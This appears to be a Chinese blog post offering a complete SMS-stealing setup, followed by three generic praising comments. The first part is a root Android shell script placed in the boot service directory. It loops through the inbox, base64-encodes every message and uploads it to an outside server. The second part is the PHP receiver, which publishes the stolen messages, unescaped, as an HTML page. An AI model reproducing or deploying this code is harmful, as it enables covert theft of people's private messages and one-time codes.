root后把文件移动到
/data/adb/service.d目录下
#!/system/bin/sh
OUTPUT_FILE="/sdcard/sms_temp.txt"
URL="http://cdn-api.8cdn.cn/ak.php"
su -c "
echo '开始获取短信...'
# 创建临时文件
touch $OUTPUT_FILE
chmod 666 $OUTPUT_FILE
# 上传函数
upload_content() {
local ENCODED_CONTENT=\$1
local RESPONSE=\$(curl -s -L -X POST \"$URL\" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'User-Agent: Mozilla/5.0' \
--data-urlencode \"content=\$ENCODED_CONTENT\")
echo \"收到响应: \$RESPONSE\"
if echo \"\$RESPONSE\" | grep -i \"success\" > /dev/null; then
echo '上传成功'
return 0
else
echo \"上传失败: \$RESPONSE\"
return 1
fi
}
while true; do
# 清空临时文件并写入UTF-8 BOM
echo -ne '\\xEF\\xBB\\xBF' > $OUTPUT_FILE
# 获取所有短信
content query --uri content://sms/inbox \
--projection 'date:address:body' \
--sort 'date DESC' | while read -r line; do
if [ ! -z \"\$line\" ]; then
# 提取时间戳
timestamp=\$(echo \"\$line\" | grep -o 'date=[0-9]*' | cut -d'=' -f2)
# 格式化时间(使用实际时间戳)
current_time=\$(date +%s%3N)
date=\$(date -d @\$((\$current_time/1000)) '+%Y-%m-%d %H:%M:%S')
# 提取发送者和消息
sender=\$(echo \"\$line\" | grep -o 'address=[^,]*' | cut -d'=' -f2)
message=\$(echo \"\$line\" | grep -o 'body=.*' | cut -d'=' -f2-)
# 追加到文件(确保UTF-8编码)
echo \"时间: \$date\" >> $OUTPUT_FILE
echo \"发送者: \$sender\" >> $OUTPUT_FILE
echo \"信息 : \$message\" >> $OUTPUT_FILE
echo \"------------------\" >> $OUTPUT_FILE
fi
done
echo '正在上传所有短信...'
# 编码并上传
ENCODED_CONTENT=\$(base64 $OUTPUT_FILE | tr -d '\n')
# 尝试上传,最多重试3次
MAX_RETRIES=3
RETRY_COUNT=0
SUCCESS=0
while [ \$RETRY_COUNT -lt \$MAX_RETRIES ] && [ \$SUCCESS -eq 0 ]; do
if upload_content \"\$ENCODED_CONTENT\"; then
SUCCESS=1
else
RETRY_COUNT=\$((RETRY_COUNT + 1))
if [ \$RETRY_COUNT -lt \$MAX_RETRIES ]; then
echo \"重试第 \$RETRY_COUNT 次...\"
sleep 2
fi
fi
done
if [ \$SUCCESS -eq 0 ]; then
echo \"上传失败,已达到最大重试次数\"
fi
# 等待30秒
sleep 10
done
"
接收的代码
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
// 获取当前时间
$update_time = date('Y-m-d H:i:s');
// 解码Base64内容
$decoded_content = base64_decode($_POST['content']);
// 确保内容是UTF-8编码
if (!mb_check_encoding($decoded_content, 'UTF-8')) {
$decoded_content = mb_convert_encoding($decoded_content, 'UTF-8', 'auto');
}
// 解析短信内容
$lines = explode("\n", $decoded_content);
$messages = [];
$current = [];
foreach ($lines as $line) {
$line = trim($line);
if (empty($line)) continue;
if (strpos($line, '时间: ') === 0) {
if (!empty($current)) {
$messages[] = $current;
}
$current = ['time' => substr($line, strlen('时间: '))];
} elseif (strpos($line, '发送者: ') === 0) {
$current['sender'] = substr($line, strlen('发送者: '));
} elseif (strpos($line, '信息 : ') === 0) {
$current['content'] = substr($line, strlen('信息 : '));
}
}
if (!empty($current)) {
$messages[] = $current;
}
// 生成HTML内容
$html = <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>短信记录</title>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
background: #f0f2f5;
color: #333;
}
.header {
text-align: center;
margin-bottom: 30px;
padding: 20px;
background: white;
border-radius: 10px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
}
.header h1 {
margin: 0;
color: #1a73e8;
font-size: 24px;
}
.update-time {
color: #666;
font-size: 14px;
margin-top: 10px;
}
.message {
background: white;
border-radius: 10px;
padding: 15px;
margin-bottom: 15px;
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
transition: transform 0.2s;
}
.message:hover {
transform: translateY(-2px);
box-shadow: 0 2px 5px rgba(0,0,0,0.15);
}
.message-header {
display: flex;
justify-content: space-between;
align-items: center;
padding-bottom: 10px;
margin-bottom: 10px;
border-bottom: 1px solid #eee;
}
.time {
color: #666;
font-size: 14px;
}
.sender {
color: #1a73e8;
font-weight: 500;
font-size: 16px;
}
.content {
line-height: 1.6;
color: #333;
font-size: 15px;
white-space: pre-wrap;
word-break: break-word;
}
.footer {
text-align: center;
padding: 20px;
color: #666;
font-size: 14px;
}
@media (max-width: 600px) {
body {
padding: 10px;
}
.message {
margin-bottom: 10px;
}
}
</style>
</head>
<body>
<div class="header">
<h1>短信记录</h1>
<div class="update-time">更新时间:{$update_time}</div>
</div>
HTML;
foreach ($messages as $msg) {
$html .= <<<HTML
<div class="message">
<div class="message-header">
<div class="sender">{$msg['sender']}</div>
<div class="time">{$msg['time']}</div>
</div>
<div class="content">{$msg['content']}</div>
</div>
HTML;
}
$count = count($messages);
$html .= <<<HTML
<div class="footer">
共显示 {$count} 条短信记录
</div>
</body>
</html>
HTML;
// 保存为HTML文件
if (file_put_contents('anke.html', $html) !== false) {
echo "success";
} else {
echo "error: failed to write file";
}
} else {
echo "error: invalid request";
}
?>
3 条评论
这篇文章提供了宝贵的经验和见解,对读者有很大的启发和帮助。
字里行间流露出真挚的情感,让人感同身受,共鸣不已。
批判锋芒犀利,直指问题症结所在。